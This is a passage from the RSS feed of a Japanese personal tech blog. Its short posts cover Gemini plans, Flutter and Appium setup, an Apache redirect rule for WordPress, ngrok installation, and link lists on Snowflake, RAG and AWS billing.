&lt;li&gt;画像&lt;/li&gt;
&lt;li&gt;ファイル&lt;/li&gt;
&lt;li&gt;フォルダー&lt;/li&gt;
&lt;li&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;h2 id="gemini-business"&gt;Gemini Business&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;Google Workplace + 20USD/月&lt;/li&gt;
&lt;li&gt;Gemini Ultra が利用可能&lt;/li&gt;
&lt;li&gt;入力データが学習に使われないことが保証されている&lt;/li&gt;
&lt;/ul&gt;
&lt;h2 id="gemini-enterprise"&gt;Gemini Enterprise&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;Google Workspace + 30USD/月&lt;/li&gt;
&lt;/ul&gt;
&lt;h2 id="個人"&gt;個人&lt;/h2&gt;
&lt;h3 id="gemini"&gt;Gemini&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;無料&lt;/li&gt;
&lt;li&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;h3 id="gemini-advanced"&gt;Gemini Advanced&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;Google One AI プレミアム (2,900 JPY/月)&lt;/li&gt;
&lt;li&gt;2TB ストレージ&lt;/li&gt;
&lt;/ul&gt;
&lt;h2 id="記事"&gt;記事&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href="https://www.youtube.com/watch?v=D_DtMgeRJmo"&gt;【超速報】新しい Gemini1.5 Pro を知らないのヤバいよ【Google I/O 2024 の発表まとめ】&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://www.youtube.com/watch?v=leS9ku4qL9o"&gt;本当に Gemini Pro1.5 は凄いのか？論文を読んで解説してみた&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://www.youtube.com/watch?v=M-PBzUEWR70"&gt;【徹底検証】Gemini1.5 Pro の使い方と解説！性能が良過ぎて現状 No.1 のマルチモーダル AI だった&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;</description></item><item><title>Flutter</title><link>https://hdknr.github.io/blogs/posts/2024/05/flutter/</link><pubDate>Tue, 14 May 2024 00:00:00 +0000</pubDate><guid>https://hdknr.github.io/blogs/posts/2024/05/flutter/</guid><description>&lt;h1 id="android-インストール"&gt;Android インストール&lt;/h1&gt;
&lt;pre tabindex="0"&gt;&lt;code&gt;% flutter build apk
&lt;/code&gt;&lt;/pre&gt;&lt;pre tabindex="0"&gt;&lt;code&gt;% flutter devices
Found 4 connected devices:
Pixel 7a (mobile) • 38211JEHN05972 • android-arm64 • Android 14 (API 34)
sdk gphone64 arm64 (mobile) • emulator-5554 • android-arm64 • Android 14 (API 34) (emulator)
macOS (desktop) • macos • darwin-arm64 • macOS 14.4.1 23E224 darwin-arm64
Chrome (web) • chrome • web-javascript • Google Chrome 124.0.6367.203
Found 1 wirelessly connected device:
iPhone13Pro (mobile) • 00008110-000150C21440401E • ios • iOS 17.4.1 21E236
Run &amp;#34;flutter emulators&amp;#34; to list and start any available device emulators.
&lt;/code&gt;&lt;/pre&gt;&lt;pre tabindex="0"&gt;&lt;code&gt;% flutter install -d 38211JEHN05972
Installing app-release.apk to Pixel 7a...
Uninstalling old version...
Installing build/app/outputs/flutter-apk/app-release.apk... 6.1s
&lt;/code&gt;&lt;/pre&gt;&lt;h2 id="ios"&gt;ios&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href="https://zenn.dev/seito/articles/6ac70d8831aa88"&gt;[Flutter]iOS のビルドで失敗したらまず試すこと 10 選&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;</description></item><item><title>apache redirect</title><link>https://hdknr.github.io/blogs/posts/2024/05/apache-redirect/</link><pubDate>Mon, 13 May 2024 00:00:00 +0000</pubDate><guid>https://hdknr.github.io/blogs/posts/2024/05/apache-redirect/</guid><description>&lt;h1 id="apache-リダイレクト"&gt;apache リダイレクト&lt;/h1&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href="https://www.javadrive.jp/apache/htaccess/index6.html"&gt;RewriteCond ディレクティブ：URL のリライト/リダイレクトを行う条件を定義する&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;h2 id="wordpress"&gt;Wordpress&lt;/h2&gt;
&lt;p&gt;&lt;code&gt;# BEGIN WordPress&lt;/code&gt;よりも上に書くこと&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;div style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;
&lt;table style="border-spacing:0;padding:0;margin:0;border:0;"&gt;&lt;tr&gt;&lt;td style="vertical-align:top;padding:0;margin:0;border:0;"&gt;
&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt; 1
&lt;/span&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt; 2
&lt;/span&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt; 3
&lt;/span&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt; 4
&lt;/span&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt; 5
&lt;/span&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt; 6
&lt;/span&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt; 7
&lt;/span&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt; 8
&lt;/span&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt; 9
&lt;/span&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt;10
&lt;/span&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt;11
&lt;/span&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt;12
&lt;/span&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt;13
&lt;/span&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt;14
&lt;/span&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt;15
&lt;/span&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt;16
&lt;/span&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt;17
&lt;/span&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt;18
&lt;/span&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt;19
&lt;/span&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt;20
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;
&lt;td style="vertical-align:top;padding:0;margin:0;border:0;;width:100%"&gt;
&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-xml" data-lang="xml"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#f92672"&gt;&amp;lt;IfModule&lt;/span&gt; &lt;span style="color:#960050;background-color:#1e0010"&gt;mod_rewrite.c&lt;/span&gt;&lt;span style="color:#f92672"&gt;&amp;gt;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;RewriteEngine On
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;RewriteBase /
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;RewriteRule ^old-page/$ https://example.com/new-page/ [R=302,L]
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#f92672"&gt;&amp;lt;/IfModule&amp;gt;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;# BEGIN WordPress
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;# &amp;#34;BEGIN WordPress&amp;#34; から &amp;#34;END WordPress&amp;#34; までのディレクティブ (行) は
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;# 動的に生成され、WordPress フィルターによってのみ修正が可能です。
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;# これらのマーカー間にあるディレクティブへのいかなる変更も上書きされてしまいます。
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#f92672"&gt;&amp;lt;IfModule&lt;/span&gt; &lt;span style="color:#960050;background-color:#1e0010"&gt;mod_rewrite.c&lt;/span&gt;&lt;span style="color:#f92672"&gt;&amp;gt;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;RewriteEngine On
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;RewriteRule .* - [E=HTTP_AUTHORIZATION:%{HTTP:Authorization}]
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;RewriteBase /
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;RewriteRule ^index\.php$ - [L]
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;RewriteCond %{REQUEST_FILENAME} !-f
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;RewriteCond %{REQUEST_FILENAME} !-d
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;RewriteRule . /index.php [L]
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#f92672"&gt;&amp;lt;/IfModule&amp;gt;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;# END WordPress
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;
&lt;/div&gt;
&lt;/div&gt;</description></item><item><title>Appium</title><link>https://hdknr.github.io/blogs/posts/2024/04/appium/</link><pubDate>Thu, 25 Apr 2024 00:00:00 +0000</pubDate><guid>https://hdknr.github.io/blogs/posts/2024/04/appium/</guid><description>&lt;h1 id="appium"&gt;Appium&lt;/h1&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href="https://dev.classmethod.jp/articles/appium-android-native/"&gt;Appium + Android で ネイティブアプリの自動実行を試してみた&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://tech-blog.optim.co.jp/entry/2020/09/09/090000"&gt;Appium を使って、リグレッションテストを自動化する&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://shiftasia.com/ja/column/%E3%83%AA%E3%82%B0%E3%83%AC%E3%83%83%E3%82%B7%E3%83%A7%E3%83%B3%E3%83%86%E3%82%B9%E3%83%88%E3%81%A8%E3%81%AF/"&gt;リグレッションテスト（回帰テスト）とは｜目的や重要性、実施のポイント&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://www.capa.co.jp/archives/27328"&gt;【Appium】モバイルアプリのテストを自動化する&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://www.scriptlife.jp/contents/programming/2020/02/09/appium-sample-2020/"&gt;[2020 年 2 月版] Mac で Appium を動かしてみる (iOS シミュレーターでサンプル実行まで)&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://progzakki.sanachan.com/tools/mobile-apps-automation-test-by-appium/"&gt;Appium を使って Android/iOS アプリの試験を自動化&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://qiita.com/emurin/items/a880e360c40ccdbc7ae5"&gt;[Set up] appium 2.x in Mac for iOS APP (Ventura)&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;code&gt;WARN AppiumDoctor ✖ adb, android, emulator could NOT be found in C:\work\Android\sdk!&lt;/code&gt;:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href="https://qiita.com/jyunji_watanabe/items/32c582c2c630873953ee"&gt;https://qiita.com/jyunji_watanabe/items/32c582c2c630873953ee&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;h2 id="インストール"&gt;インストール&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;JDK&lt;/li&gt;
&lt;li&gt;Android Studio&lt;/li&gt;
&lt;li&gt;Xcode&lt;/li&gt;
&lt;li&gt;brew&lt;/li&gt;
&lt;li&gt;npm&lt;/li&gt;
&lt;li&gt;Carthage&lt;/li&gt;
&lt;li&gt;Appium&lt;/li&gt;
&lt;li&gt;Appium Driver&lt;/li&gt;
&lt;/ul&gt;
&lt;h3 id="jdk"&gt;JDK&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href="https://www.oracle.com/java/technologies/downloads/#java20"&gt;https://www.oracle.com/java/technologies/downloads/#java20&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;code&gt;ARM64 DMG Installer&lt;/code&gt;のインストール:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;div style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;
&lt;table style="border-spacing:0;padding:0;margin:0;border:0;"&gt;&lt;tr&gt;&lt;td style="vertical-align:top;padding:0;margin:0;border:0;"&gt;
&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt;1
&lt;/span&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt;2
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;
&lt;td style="vertical-align:top;padding:0;margin:0;border:0;;width:100%"&gt;
&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#75715e"&gt;# .zshrc&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;export JAVA_HOME&lt;span style="color:#f92672"&gt;=&lt;/span&gt;JAVA_HOME&lt;span style="color:#f92672"&gt;=&lt;/span&gt;&lt;span style="color:#66d9ef"&gt;$(&lt;/span&gt;/usr/libexec/java_home&lt;span style="color:#66d9ef"&gt;)&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;
&lt;/div&gt;
&lt;/div&gt;&lt;div class="highlight"&gt;&lt;div style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;
&lt;table style="border-spacing:0;padding:0;margin:0;border:0;"&gt;&lt;tr&gt;&lt;td style="vertical-align:top;padding:0;margin:0;border:0;"&gt;
&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt;1
&lt;/span&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt;2
&lt;/span&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt;3
&lt;/span&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt;4
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;
&lt;td style="vertical-align:top;padding:0;margin:0;border:0;;width:100%"&gt;
&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;% java -version
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;java version &lt;span style="color:#e6db74"&gt;&amp;#34;22.0.1&amp;#34;&lt;/span&gt; 2024-04-16
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;Java&lt;span style="color:#f92672"&gt;(&lt;/span&gt;TM&lt;span style="color:#f92672"&gt;)&lt;/span&gt; SE Runtime Environment &lt;span style="color:#f92672"&gt;(&lt;/span&gt;build 22.0.1+8-16&lt;span style="color:#f92672"&gt;)&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;Java HotSpot&lt;span style="color:#f92672"&gt;(&lt;/span&gt;TM&lt;span style="color:#f92672"&gt;)&lt;/span&gt; 64-Bit Server VM &lt;span style="color:#f92672"&gt;(&lt;/span&gt;build 22.0.1+8-16, mixed mode, sharing&lt;span style="color:#f92672"&gt;)&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;
&lt;/div&gt;
&lt;/div&gt;&lt;h3 id="android-studio"&gt;Android Studio&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;Mac with Apple Chip でインストール&lt;/p&gt;</description></item><item><title>Flutter</title><link>https://hdknr.github.io/blogs/posts/2024/04/flutter/</link><pubDate>Thu, 25 Apr 2024 00:00:00 +0000</pubDate><guid>https://hdknr.github.io/blogs/posts/2024/04/flutter/</guid><description>&lt;pre tabindex="0"&gt;&lt;code&gt;Doctor summary (to see all details, run flutter doctor -v):
[✓] Flutter (Channel stable, 3.19.6, on macOS 14.4.1 23E224 darwin-arm64, locale ja-JP)
[!] Android toolchain - develop for Android devices (Android SDK version 34.0.0)
✗ cmdline-tools component is missing
Run `path/to/sdkmanager --install &amp;#34;cmdline-tools;latest&amp;#34;`
See https://developer.android.com/studio/command-line for more details.
✗ Android license status unknown.
Run `flutter doctor --android-licenses` to accept the SDK licenses.
See https://flutter.dev/docs/get-started/install/macos#android-setup for more details.
[!] Xcode - develop for iOS and macOS (Xcode 15.3)
✗ CocoaPods not installed.
CocoaPods is used to retrieve the iOS and macOS platform side&amp;#39;s plugin code that responds to your plugin usage on the Dart side.
Without CocoaPods, plugins will not work on iOS or macOS.
For more info, see https://flutter.dev/platform-plugins
To install see https://guides.cocoapods.org/using/getting-started.html#installation for instructions.
[✓] Chrome - develop for the web
[✓] Android Studio (version 2023.2)
[✓] VS Code (version 1.88.1)
[✓] Connected device (3 available)
[✓] Network resources
! Doctor found issues in 2 categories.
The Flutter CLI developer tool uses Google Analytics to report usage and diagnostic
data along with package dependencies, and crash reporting to send basic crash
reports. This data is used to help improve the Dart platform, Flutter framework,
and related tools.
Telemetry is not sent on the very first run. To disable reporting of telemetry,
run this terminal command:
flutter --disable-analytics
If you opt out of telemetry, an opt-out event will be sent, and then no further
information will be sent. This data is collected in accordance with the Google
Privacy Policy (https://policies.google.com/privacy).
&lt;/code&gt;&lt;/pre&gt;</description></item><item><title>Snowflake: Cortex</title><link>https://hdknr.github.io/blogs/posts/2024/04/snowflake-cortex/</link><pubDate>Sun, 14 Apr 2024 00:00:00 +0000</pubDate><guid>https://hdknr.github.io/blogs/posts/2024/04/snowflake-cortex/</guid><description>&lt;h1 id="snowflake-cortex"&gt;Snowflake Cortex&lt;/h1&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href="https://dev.classmethod.jp/articles/snowflake-try-cortex-llm-functions/"&gt;[新機能]Snowflake で Mistral AI・LLaMA 2・Gemma を用いた LLM が関数一つで簡単に使用可能に！Snowflake Cortex LLM Functions を試してみた&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://dev.classmethod.jp/articles/snowflake-latest-info-202403/"&gt;2024 年 3 月にリリースされた Snowflake の新機能・変更点のまとめ #SnowflakeDB&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://dev.classmethod.jp/articles/snowpro-core-study-for-ml/"&gt;[COF-C02]Snowpark ML の理解を深めるのに Snowpro Core を受験してみた&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://dev.classmethod.jp/articles/save-snowpark-ml-xgboost-feature-importance/"&gt;Snowpark ML で作成した XGBoost モデルの特徴量重要度をテーブルとして保存する&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://dev.classmethod.jp/articles/try-snowparkml-model-registry-preview/"&gt;パブリックプレビュー版の Snowpark ML Model Registry で、Snowflake での MLOps のポイントを確認してみた&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;</description></item><item><title>Snowflake: Snowpark</title><link>https://hdknr.github.io/blogs/posts/2024/04/snowflake-snowpark/</link><pubDate>Sun, 14 Apr 2024 00:00:00 +0000</pubDate><guid>https://hdknr.github.io/blogs/posts/2024/04/snowflake-snowpark/</guid><description>&lt;h1 id="snowflake-snowpark"&gt;Snowflake: Snowpark&lt;/h1&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href="https://techblog.kazaneya.com/20230724-snowpark/"&gt;Snowpark とは何か？ Snowpark for Python ができること、できないこと&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://developers.cyberagent.co.jp/blog/archives/31167/"&gt;Snowflake の新機能 “Snowpark” Deep Dive！仕組みを覗いてみた！&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;h2 id="apache-spark"&gt;Apache Spark&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href="https://qiita.com/taka_yayoi/items/5415db284b96c7c60d44"&gt;今さら聞けない Python - Spark のご紹介&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;</description></item><item><title>GetAI: RAG</title><link>https://hdknr.github.io/blogs/posts/2024/04/getai-rag/</link><pubDate>Fri, 12 Apr 2024 00:00:00 +0000</pubDate><guid>https://hdknr.github.io/blogs/posts/2024/04/getai-rag/</guid><description>&lt;h1 id="rag"&gt;RAG&lt;/h1&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href="https://note.com/daichi_mu/n/n11cdd94d33d6"&gt;【勉強メモ】RAG But Better: Cohere AI によるリランカー　 RAG But Better: Rerankers with Cohere AI&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;</description></item><item><title>AWS: Billing</title><link>https://hdknr.github.io/blogs/posts/2024/04/aws-billing/</link><pubDate>Mon, 08 Apr 2024 00:00:00 +0000</pubDate><guid>https://hdknr.github.io/blogs/posts/2024/04/aws-billing/</guid><description>&lt;h1 id="aws-billing"&gt;AWS: Billing&lt;/h1&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href="https://dev.classmethod.jp/articles/aws-1st-step-new-era-reiwa/"&gt;AWS アカウントを作ったら最初にやるべきこと ～令和元年版～&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://qiita.com/tmknom/items/303db2d1d928db720888"&gt;AWS アカウントを取得したら速攻でやっておくべき初期設定まとめ&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://tech.nri-net.com/entry/aws_first_security"&gt;AWS アカウント作成時にやるべきこと&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://dev.classmethod.jp/articles/cost-check-point/"&gt;無駄なコストを省こう！AWS で消し忘れを防止するためにチェックすべき７つのポイント&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;</description></item><item><title>ngrok</title><link>https://hdknr.github.io/blogs/posts/2024/03/ngrok/</link><pubDate>Thu, 21 Mar 2024 00:00:00 +0000</pubDate><guid>https://hdknr.github.io/blogs/posts/2024/03/ngrok/</guid><description>&lt;h1 id="ngrok"&gt;ngrok&lt;/h1&gt;
&lt;div class="highlight"&gt;&lt;div style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;
&lt;table style="border-spacing:0;padding:0;margin:0;border:0;"&gt;&lt;tr&gt;&lt;td style="vertical-align:top;padding:0;margin:0;border:0;"&gt;
&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt;1
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;
&lt;td style="vertical-align:top;padding:0;margin:0;border:0;;width:100%"&gt;
&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;brew install ngrok
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;
&lt;/div&gt;
&lt;/div&gt;&lt;p&gt;シェルコンプリージョン:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;div style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;
&lt;table style="border-spacing:0;padding:0;margin:0;border:0;"&gt;&lt;tr&gt;&lt;td style="vertical-align:top;padding:0;margin:0;border:0;"&gt;
&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt;1
&lt;/span&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt;2
&lt;/span&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt;3
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;
&lt;td style="vertical-align:top;padding:0;margin:0;border:0;;width:100%"&gt;
&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#66d9ef"&gt;if&lt;/span&gt; command -v ngrok &amp;amp;&amp;gt;/dev/null; &lt;span style="color:#66d9ef"&gt;then&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; eval &lt;span style="color:#e6db74"&gt;&amp;#34;&lt;/span&gt;&lt;span style="color:#66d9ef"&gt;$(&lt;/span&gt;ngrok completion&lt;span style="color:#66d9ef"&gt;)&lt;/span&gt;&lt;span style="color:#e6db74"&gt;&amp;#34;&lt;/span&gt;
